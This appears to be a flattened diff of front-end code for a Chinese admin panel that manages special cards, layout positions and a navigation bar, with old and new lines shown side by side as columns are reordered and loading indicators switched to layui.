| | | url: gethttp() + "/admin/new/api/v1/specialcard/deleteSpecial",
|
| | |
| | | idArray: zu_id
|
| | | },
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | |
| | | touchSubmit: function(thereData) {
|
| | | // 当前数据
|
| | | var item = thereData.list;
|
| | | // 请求数据
|
| | | var mydata = {
|
| | | // 请求数据
|
| | | var mydata = {
|
| | | cardId: layoutId, // 外层id
|
| | | state: item[0].key, // 启用状态
|
| | | id: item[1].key, // ID
|
| | | name: item[5].key, // 名称
|
| | | sex: [item[6].key],
|
| | | jumpType: item[7].key, // 跳转方式
|
| | | params: item[8].key, // 跳转参数
|
| | | jumpLogin: item[9].key, // 是否需要登录
|
| | | remark: item[10].key, // 备注
|
| | | timeTask: item[11].key, // 是否自动控制
|
| | | startTime_str: item[12].key, // 起始时间
|
| | | endTime_str: item[13].key, // 结束时间
|
| | | };
|
| | |
|
| | |
|
| | | // 如果修改了图片 |
| | | if (item[2].del == true) {
|
| | | name: item[3].key, // 名称
|
| | | state: item[5].key, // 启用状态
|
| | | startTime_str: item[6].key, // 起始时间
|
| | | endTime_str: item[7].key, // 结束时间
|
| | | sex: item[8].key,
|
| | | jumpType: item[9].key, // 跳转方式
|
| | | params: item[10].key, // 跳转参数
|
| | | jumpLogin: item[11].key, // 是否需要登录
|
| | | remark: item[12].key, // 备注
|
| | | id: item[13].key, // ID
|
| | | };
|
| | | |
| | | // 启用状态
|
| | | if (item[5].key == 1) {
|
| | | mydata.state = 0;
|
| | | } else {
|
| | | mydata.state = 1;
|
| | | }
|
| | | // 如果修改了图片
|
| | | if (item[0].del == true) {
|
| | | mydata.delPicture = true;
|
| | | } else if (item[2].change == true) {
|
| | | mydata.file = item[2].key;
|
| | | } else if (item[0].change == true) {
|
| | | mydata.file = item[0].key;
|
| | | }
|
| | | // 如果修改了副图片
|
| | | if (item[3].del == true) {
|
| | | if (item[1].del == true) {
|
| | | mydata.delSubPicture = true;
|
| | | } else if (item[3].change == true) {
|
| | | mydata.file2 = item[3].key;
|
| | | } else if (item[1].change == true) {
|
| | | mydata.file2 = item[1].key;
|
| | | }
|
| | | // 如果修改了装饰图片
|
| | | if (item[4].del == true) {
|
| | | if (item[2].del == true) {
|
| | | mydata.delIcon = true;
|
| | | } else if (item[4].change == true) {
|
| | | mydata.file3 = item[4].key;
|
| | | } else if (item[2].change == true) {
|
| | | mydata.file3 = item[2].key;
|
| | | }
|
| | | // 信息上传
|
| | | doui.showLoading("正在修改");
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.upload({
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/saveSpecial",
|
| | | data: mydata,
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | |
| | | // 被选中的行id组构建
|
| | | var zu_id = new Array();
|
| | | for (var i = 0, mo = back.list; i < mo.length; i++) {
|
| | | zu_id.push(mo[i][1].key);
|
| | | zu_id.push(mo[i][13].key);
|
| | | }
|
| | | sys_id = zu_id;
|
| | | // 显示弹框
|
| | |
| | | }
|
| | | // 当前数据
|
| | | var item = back.list[0];
|
| | | // 信息上传
|
| | | doui.showLoading();
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/saveSpecialOrder",
|
| | | data: {
|
| | | id: item[1].key,
|
| | | id: item[13].key,
|
| | | moveType: "-1",
|
| | | sex: $("select").eq(0).val(),
|
| | | },
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | // 获取当前行顺序
|
| | | var thisIndex = null;
|
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) {
|
| | | if (mo[i].td[1].key == item[1].key) {
|
| | | if (mo[i].td[13].key == item[13].key) {
|
| | | thisIndex = i;
|
| | | break;
|
| | | }
|
| | |
| | | }
|
| | | // 当前数据
|
| | | var item = back.list[0];
|
| | | // 信息上传
|
| | | doui.showLoading();
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/saveSpecialOrder",
|
| | | data: {
|
| | | id: item[1].key,
|
| | | id: item[13].key,
|
| | | moveType: "1",
|
| | | sex: $("select").eq(0).val(),
|
| | | },
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | // 获取当前行顺序
|
| | | var thisIndex = null;
|
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) {
|
| | | if (mo[i].td[1].key == item[1].key) {
|
| | | if (mo[i].td[13].key == item[13].key) {
|
| | | thisIndex = i;
|
| | | break;
|
| | | }
|
| | |
| | | if (idsC) {
|
| | | vm_labelTan.thereData.ids = idsC;
|
| | | }
|
| | | doui.showLoading("获取已有标签");
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1//specialLabel/getBySpecialId",
|
| | |
| | | specialId: idsC[0],
|
| | | },
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | |
| | | if (idsC) {
|
| | | vm_labelTan.all.ids = idsC;
|
| | | }
|
| | | doui.showLoading("获取标签");
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialLabel/query",
|
| | |
| | | pageSize: vm_labelTan.all.pageSize,
|
| | | },
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | |
| | | for (var i = 0, mo = result; i < mo.length; i++) {
|
| | | BQ_id.push(mo[i].id);
|
| | | }
|
| | | // 发起请求
|
| | | doui.showLoading("正在处理")
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialLabel/batchGoodsAddLables",
|
| | |
| | | labIds: BQ_id,
|
| | | },
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | |
| | | $("#admin-header").find("select").eq(0).after("<div class='fboxRow Ycenter' id='versionControl'></div>");
|
| | | versionControl.init($("#versionControl"));
|
| | | }, 100);
|
| | |
|
| | |
|
| | | }
|
| | | });
|
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | }
|
| | | </script> |
| | |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>页面布局-位置种类</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求接口 |
| | | doui.showLoading({ content: "加载列表" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/specialPlace/query", |
| | |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | { title: "标识", key: mo[i].key, value: mo[i].key, "class": "font-gray" }, |
| | | td: [
|
| | | { title: "名称", key: mo[i].name, value: mo[i].name }, |
| | | { title: "最近修改时间", key: mo[i].updateTime, value: mo[i].updateTime, "class": "font13 font-gray" }, |
| | | { title: "标识", key: mo[i].key, value: mo[i].key, "class": "font-gray" }, |
| | | { title: "最近修改时间", key: mo[i].updateTime, value: mo[i].updateTime, "class": "font13 font-gray" },
|
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | ], |
| | | }; |
| | | // 将当前行放入tr组 |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "ID", width: "1.5rem", orderUp: "", orderDown: "" }, |
| | | { title: "标识", width: "1.6rem", orderUp: "", orderDown: "", |
| | | { title: "名称", width: "1.6rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "text",
|
| | | placeholder: "首页5圆 区域",
|
| | | },
|
| | | }, |
| | | { title: "标识", width: "1rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "arc", |
| | | }, |
| | | }, |
| | | { title: "名称", width: "1.6rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "首页5圆 区域", |
| | | }, |
| | | }, |
| | | { title: "最近修改时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "最近修改时间", width: "0.6rem", orderUp: "", orderDown: "" },
|
| | | { title: "ID", width: "0.6rem", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | // 工具栏 |
| | |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | // 信息上传 |
| | | doui.showLoading("正在新建"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/specialPlace/save", |
| | | data: { |
| | | name: item[0].key, // 名称 |
| | | key: item[1].key, // 标识 |
| | | name: item[2].key, // 名称 |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 被选中的行id组构建 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][0].key); } |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][3].key); } |
| | | // 发起请求 |
| | | doui.showLoading("正在删除"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/specialPlace/delete", |
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | var item = thereData.list; |
| | | // 信息上传 |
| | | doui.showLoading("正在修改"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/specialPlace/save", |
| | | data: { |
| | | id: item[0].key, // ID |
| | | key: item[1].key, // 标识 |
| | | name: item[2].key, // 名称 |
| | | name: item[0].key, // 名称 |
| | | key: item[1].key, // 标识
|
| | | id: item[3].key, // ID |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("修改成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>顶部导航栏</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | touchSearch: function (optC) |
| | | { |
| | | // 发起请求 |
| | | doui.showLoading({ content: "加载列表" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/navbar/query", |
| | |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | // 初始化当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "启用状态", key: mo[i].state, value: mo[i].state }, |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | { title: "图标", key: mo[i].picture, value: mo[i].picture, dataType: "img" }, |
| | | { title: "显示名称", key: mo[i].name, value: mo[i].name, "class": "font-yellow" }, |
| | | td: [
|
| | | { title: "图标", key: mo[i].picture, value: mo[i].picture, dataType: "img" },
|
| | | { title: "名称", key: mo[i].name, value: mo[i].name}, |
| | | { title: "启用状态", key: mo[i].state, value: mo[i].state, dataType: 'btnSwitch', click: "switchState(" + mo[i].id + ")"}, |
| | | { title: "起始时间", key: mo[i].startTime_str, value: mo[i].startTime_str },
|
| | | { title: "结束时间", key: mo[i].endTime_str, value: mo[i].endTime_str },
|
| | | { title: "是否默认", key: mo[i].isDefault, value: mo[i].isDefault==true?"是":"否", "class": mo[i].isDefault==true?"font-green":"font-red" }, |
| | | { title: "性别", key: mo[i].sex, value: mo[i].sex}, |
| | | { title: "绑定内容", key: mo[i].type, value: mo[i].type }, |
| | | { title: "内容有效值", key: "", value: "", "class": "font-gray" }, |
| | | { title: "绑定轮播图", key: mo[i].swiperBannerId, value: mo[i].swiperName }, |
| | | { title: "自动控制", key: mo[i].timeTask, value: mo[i].timeTask==true?"是":"否", "class": mo[i].timeTask==true?"font-green":"font-red" }, |
| | | { title: "起始时间", key: mo[i].startTime_str, value: mo[i].startTime_str }, |
| | | { title: "结束时间", key: mo[i].endTime_str, value: mo[i].endTime_str }, |
| | | { title: "是否默认", key: mo[i].isDefault, value: mo[i].isDefault==true?"是":"否", "class": mo[i].isDefault==true?"font-green":"font-red" }, |
| | | { title: "ID", key: mo[i].id, value: mo[i].id },
|
| | | ], |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { thatTr.td[0].value = "已启用"; thatTr.td[0]["class"] = "font-green"; } |
| | | else if (thatTr.td[0].key == 0) { thatTr.td[0].value = "已停用"; thatTr.td[0]["class"] = "font-red"; } |
| | | else { thatTr.td[0].value = "(缺省)"; thatTr.td[0]["class"] = "font-gray"; } |
| | | |
| | | if (thatTr.td[4].key == 0) { thatTr.td[4].value = "通用"; } |
| | | else if (thatTr.td[4].key == 1) { thatTr.td[4].value = "女"; } |
| | | else if (thatTr.td[4].key == 2) { thatTr.td[4].value = "男"; } |
| | | else if (thatTr.td[4].key == 120) { thatTr.td[4].value = "所有"; } |
| | | else if (thatTr.td[4].key == 12) { thatTr.td[4].value = "男+女"; } |
| | | else if (thatTr.td[4].key == 10) { thatTr.td[4].value = "通用+女"; } |
| | | else if (thatTr.td[4].key == 20) { thatTr.td[4].value = "通用+男"; } |
| | | else thatTr.td[4].value = "未知"; |
| | | |
| | | var index_sex = 6; |
| | | if (thatTr.td[index_sex].key == 0) { thatTr.td[index_sex].value = "通用"; } |
| | | else if (thatTr.td[index_sex].key == 1) { thatTr.td[index_sex].value = "女"; } |
| | | else if (thatTr.td[index_sex].key == 2) { thatTr.td[index_sex].value = "男"; } |
| | | else if (thatTr.td[index_sex].key == 120) { thatTr.td[index_sex].value = "所有"; } |
| | | else if (thatTr.td[index_sex].key == 12) { thatTr.td[index_sex].value = "男+女"; } |
| | | else if (thatTr.td[index_sex].key == 10) { thatTr.td[index_sex].value = "通用+女"; } |
| | | else if (thatTr.td[index_sex].key == 20) { thatTr.td[index_sex].value = "通用+男"; } |
| | | else thatTr.td[index_sex].value = "未知"; |
| | | |
| | | // 图片分析 |
| | | if (!thatTr.td[2].key || thatTr.td[2].key == "") { thatTr.td[2].value = "未设置"; thatTr.td[2]["class"] = "font-gray"; thatTr.td[2]["dataType"] = ""; } |
| | | if (!thatTr.td[0].key || thatTr.td[0].key == "") {
|
| | | thatTr.td[0].value = "未设置"; |
| | | thatTr.td[0]["class"] = "font-gray"; |
| | | thatTr.td[0]["dataType"] = ""; |
| | | }
|
| | | |
| | | // 绑定内容分析 |
| | | if (thatTr.td[5].key == "category") |
| | | if (thatTr.td[7].key == "category") |
| | | { |
| | | thatTr.td[5].value = "分类"; |
| | | thatTr.td[6].key = mo[i].classId; |
| | | thatTr.td[6].value = mo[i].className; |
| | | thatTr.td[7].value = "分类"; |
| | | thatTr.td[8].key = mo[i].classId; |
| | | thatTr.td[8].value = mo[i].className; |
| | | } |
| | | else if (thatTr.td[5].key == "weex") |
| | | else if (thatTr.td[7].key == "weex") |
| | | { |
| | | thatTr.td[5].value = "weex"; |
| | | thatTr.td[6].key = mo[i].url; |
| | | thatTr.td[6].value = mo[i].url; |
| | | thatTr.td[7].value = "weex"; |
| | | thatTr.td[8].key = mo[i].url; |
| | | thatTr.td[8].value = mo[i].url; |
| | | } |
| | | else if (thatTr.td[5].key == "web") |
| | | else if (thatTr.td[7].key == "web") |
| | | { |
| | | thatTr.td[5].value = "网页"; |
| | | thatTr.td[6].key = mo[i].url; |
| | | thatTr.td[6].value = mo[i].url; |
| | | thatTr.td[7].value = "网页"; |
| | | thatTr.td[8].key = mo[i].url; |
| | | thatTr.td[8].value = mo[i].url; |
| | | } |
| | | |
| | | // 将当前行放入tr组 |
| | |
| | | adminDom.table.thead({ |
| | | show: true, |
| | | th: [ |
| | | { title: "启用状态", width: "0.7rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: 0, value: "停用" }, |
| | | { key: 1, value: "启用" }, |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "ID", width: "0.7rem", orderUp: "", orderDown: "" }, |
| | | { title: "图标", width: "", orderUp: "", orderDown: "", |
| | | { title: "图标", width: "0.6rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "file", |
| | | }, |
| | | }, |
| | | { title: "显示名称", width: "", orderUp: "", orderDown: "", |
| | | { title: "名称", width:"0.6rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "如:美食" |
| | | }, |
| | | }, |
| | | { title: "性别", width: "", orderUp: "", orderDown: "" |
| | | }, |
| | | { title: "绑定内容类别", width: "", orderUp: "", orderDown: "", |
| | | },
|
| | | { title: "启用状态", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | { title: "起始时间", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "datetime-local" },
|
| | | },
|
| | | { title: "结束时间", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "datetime-local" },
|
| | | },
|
| | | { title: "是否默认", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "radio",
|
| | | list: [
|
| | | { key: true, value: "是" },
|
| | | { key: false, value: "否" },
|
| | | ],
|
| | | },
|
| | | },
|
| | | { title: "性别", width: "0.4rem", orderUp: "", orderDown: ""}, |
| | | { title: "绑定内容类别", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "select", |
| | | list: [ |
| | |
| | | ] |
| | | }, |
| | | }, |
| | | { title: "内容有效值", width: "", orderUp: "", orderDown: "", |
| | | { title: "内容有效值", width: "0.6rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "http://..." |
| | | }, |
| | | }, |
| | | { title: "绑定轮播图", width: "", orderUp: "", orderDown: "", |
| | | { title: "绑定轮播图", width: "0.6rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "select", |
| | | list: [] |
| | | }, |
| | | }, |
| | | { title: "自动控制", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: true, value: "是" }, |
| | | { key: false, value: "否" }, |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "起始时间", width: "", orderUp: "", orderDown: "", |
| | | edit: { type: "datetime-local" }, |
| | | }, |
| | | { title: "结束时间", width: "", orderUp: "", orderDown: "", |
| | | edit: { type: "datetime-local" }, |
| | | }, |
| | | { title: "是否默认", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: true, value: "是" }, |
| | | { key: false, value: "否" }, |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "ID", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | // 绑定轮播图列表获取 |
| | |
| | | var listC = new Array(); |
| | | listC = res.data.result_list; |
| | | // 重置表格头排 |
| | | vm_table.thead.th[6].edit.list = listC; |
| | | vm_table.thead.th[9].edit.list = listC; |
| | | } |
| | | } |
| | | }); |
| | |
| | | var item = thereData.list; |
| | | // 请求数据 |
| | | var mydata = { |
| | | state: item[0].key, // 状态 |
| | | name: item[3].key, // 显示名称 |
| | | type: item[5].key, // 内容类型 |
| | | swiperBannerId: item[7].key, // 轮播图 |
| | | timeTask: item[8].key, // 是否自动控制 |
| | | startTime_str: item[9].key, // 起始时间 |
| | | endTime_str: item[10].key, // 结束时间 |
| | | isDefault:item[11].key |
| | | name: item[1].key, // 显示名称 |
| | | state: item[2].key, // 状态
|
| | | startTime_str: item[3].key, // 起始时间
|
| | | endTime_str: item[4].key, // 结束时间
|
| | | isDefault:item[5].key,
|
| | | type: item[7].key, // 内容类型 |
| | | swiperBannerId: item[9].key, // 轮播图 |
| | | }; |
| | | // 如果修改了图片 |
| | | if (item[2].change == true) { mydata.file = item[2].key; } |
| | | if (item[0].change == true) { mydata.file = item[0].key; } |
| | | |
| | | // 类型 |
| | | if (mydata.type == "category") { mydata.classId = item[6].key; } |
| | | else { mydata.url = item[6].key; } |
| | | // 信息上传 |
| | | doui.showLoading("正在新建"); |
| | | if (mydata.type == "category") { mydata.classId = item[8].key; } |
| | | else { mydata.url = item[8].key; }
|
| | | |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/navbar/save", |
| | | data: mydata, |
| | | fail: function (res) { doui.hideLoading(); doui.showToast(res.msg); }, |
| | | fail: function (res) { layer.close(loading); doui.showToast(res.msg); }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 获取选择的id组 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][1].key); } |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][10].key); } |
| | | // 发起请求 |
| | | doui.showLoading({ content: "正在删除" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/navbar/delete", |
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else { doui.showToast({ content: "删除成功" }); vm_table.search(); } |
| | | } |
| | |
| | | if (back.list.length > 1) { doui.showToast({ content: "一次只能操作一个" }); return false; } |
| | | |
| | | // 预先设置内容有效值 |
| | | if (back.list[0][5].key == "category") { vm_table.thead.th[6].edit = { type: "select", list: goods.list, }; } |
| | | else { vm_table.thead.th[6].edit = { type: "text", placeholder: "http://...", }; } |
| | | if (back.list[0][7].key == "category") { vm_table.thead.th[8].edit = { type: "select", list: goods.list, }; } |
| | | else { vm_table.thead.th[8].edit = { type: "text", placeholder: "http://...", }; } |
| | | |
| | | // 修改弹框创建 |
| | | adminDom.editTan.creat({ |
| | |
| | | var item = thereData.list; |
| | | // 请求数据 |
| | | var mydata = { |
| | | state: item[0].key, // 状态 |
| | | id: item[1].key, // ID |
| | | name: item[3].key, // 显示名称 |
| | | type: item[5].key, // 内容类型 |
| | | swiperBannerId: item[7].key, // 轮播图 |
| | | timeTask: item[8].key, // 是否自动控制 |
| | | startTime_str: item[9].key, // 起始时间 |
| | | endTime_str: item[10].key, // 结束时间 |
| | | isDefault: item[11].key, // 是否默认 |
| | | }; |
| | | name: item[1].key, // 显示名称
|
| | | state: item[2].key, // 状态
|
| | | startTime_str: item[3].key, // 起始时间
|
| | | endTime_str: item[4].key, // 结束时间
|
| | | isDefault:item[5].key,
|
| | | type: item[7].key, // 内容类型
|
| | | swiperBannerId: item[9].key, // 轮播图
|
| | | id: item[10].key, // ID
|
| | | };
|
| | | |
| | | // 如果修改了图片 |
| | | if (item[2].change == true) { mydata.file = item[2].key; } |
| | | if (item[0].change == true) { mydata.file = item[0].key; } |
| | | // 类型 |
| | | if (mydata.type == "category") { mydata.classId = item[6].key; } |
| | | else { mydata.url = item[6].key; } |
| | | if (mydata.type == "category") { mydata.classId = item[8].key; } |
| | | else { mydata.url = item[8].key; } |
| | | // 信息上传 |
| | | doui.showLoading("正在修改"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/navbar/save", |
| | | data: mydata, |
| | | fail: function (res) { doui.hideLoading(); doui.showToast(res.msg); }, |
| | | fail: function (res) { layer.close(loading); doui.showToast(res.msg); }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("修改成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | // 信息上传 |
| | | doui.showLoading(); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | // 请求接口
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/navbar/updateOrder", |
| | | data: { |
| | | id: item[1].key, |
| | | id: item[10].key, |
| | | moveType: "-1", |
| | | sex: $("select").eq(0).val() |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else |
| | | { |
| | | // 获取当前行顺序 |
| | | var thisIndex = null; |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { if (mo[i].td[1].key == item[1].key) { thisIndex = i; break; } } |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { if (mo[i].td[10].key == item[10].key) { thisIndex = i; break; } } |
| | | // 直接更换顺序 |
| | | upRecord(vm_table.tbody.tr, thisIndex); |
| | | } |
| | |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | // 信息上传 |
| | | doui.showLoading(); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/navbar/updateOrder", |
| | | data: { |
| | | id: item[1].key, |
| | | id: item[10].key, |
| | | moveType: "1", |
| | | sex: $("select").eq(0).val(), |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else |
| | | { |
| | | // 获取当前行顺序 |
| | | var thisIndex = null; |
